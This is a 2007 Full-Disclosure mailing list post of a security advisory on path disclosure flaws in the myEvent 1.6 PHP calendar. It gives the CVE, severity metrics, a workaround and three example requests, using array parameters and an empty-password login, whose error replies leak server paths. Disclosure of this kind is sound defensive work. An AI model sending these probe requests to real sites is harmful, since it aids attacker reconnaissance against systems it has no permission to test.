

[Full-disclosure] myEvent version 1.6 Multiple Path Disclosure Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-05/msg00511.html>

- *From:* "SecurityResearch" <securityresearch@xxxxxxxxxxxxxxxxxxxxx>
 - *Date:* Mon, 28 May 2007 12:53:41 -0700
-

netVigilance Security Advisory #24

myEvent version 1.6 Multiple Path Disclosure Vulnerabilities

Description:

myEvent is Dynamic Calendar based Events Management system with admin panel for adding events, edit and delete built using PHP & MySQL. Display today's event and future events links on the calendar, Event will be displayed in 3 mode eg : pop-up, new windows and on same screen once link is clicked. There is also a mouse-over tool tip to display the events Template based and Simple easily intergrated to any websites.

External References:

Mitre CVE: CVE-2007-0690

NVD NIST: CVE-2007-0690

OSVDB: 34272

Summary:

myEvent is Dynamic Calendar based Events Management system with admin panel for adding events, edit and delete built using PHP and MySQL.

Multiple pass disclosure vulnerabilities in the product allow attackers to gather the true path of the server-side script.

Advisory URL:

<http://www.netvigilance.com/advisory0024>

Release Date:

05/28/2007

Severity:

Risk: Low

CVSS Metrics

Access Vector: Remote

Access Complexity: Low

Authentication: Not-required

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

[Full-disclosure] myEvent version 1.6 Multiple Path Disclosure Vulnerabilities

Impact Bias: Normal
CVSS Base Score: 2.3

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17954

Vulnerable Systems:
myEvent version 1.6

Vulnerability Type:
Program flaw – The myevent.php and login.php scripts has flaws which lead to Warnings or even Fatal Error.

Vendor:
myWebland

Vendor Status:
The Vendor has been notified several times on many different email addresses last on 15 May 2007. The Vendor has not responded. There is no official fix at the release of this Security Advisory.

Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers).

Example:

Path Disclosure Vulnerability 1:

REQUEST:

[http://\[TARGET\]/\[PRODUCT-DIRECTORY\]/myevent.php?monthno\[\]=2&year=2007](http://[TARGET]/[PRODUCT-DIRECTORY]/myevent.php?monthno[]=2&year=2007)

REPLY:

Warning: htmlspecialchars() expects parameter 1 to be string, array given in **[DISCLOSED PATH]\[PRODUCT-DIRECTORY]\initialize.php** on line

71

Path Disclosure Vulnerability 2:

REQUEST

[http://\[TARGET\]/\[PRODUCT-DIRECTORY\]/myevent.php?view\[\]=1](http://[TARGET]/[PRODUCT-DIRECTORY]/myevent.php?view[]=1)

REPLY:

Warning: htmlspecialchars() expects parameter 1 to be string, array given in **[DISCLOSED PATH]\[PRODUCT-DIRECTORY]\initialize.php** on line

83

Path Disclosure Vulnerability 3:

REQUEST:

[Full-disclosure] myEvent version 1.6 Multiple Path Disclosure Vulnerabilities

[http://\[TARGET\]/\[PRODUCT-DIRECTORY\]/login.php](http://[TARGET]/[PRODUCT-DIRECTORY]/login.php)

Enter Login but do not enter password. Click "Log In"

REPLY:

Fatal error: Call to undefined function: notice() in [DISCLOSED
PATH]\[PRODUCT-DIRECTORY]\login.php on line 29

Credits:

Jesper Jurcenoks

Co-founder netVigilance, Inc

www.netvigilance.com

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>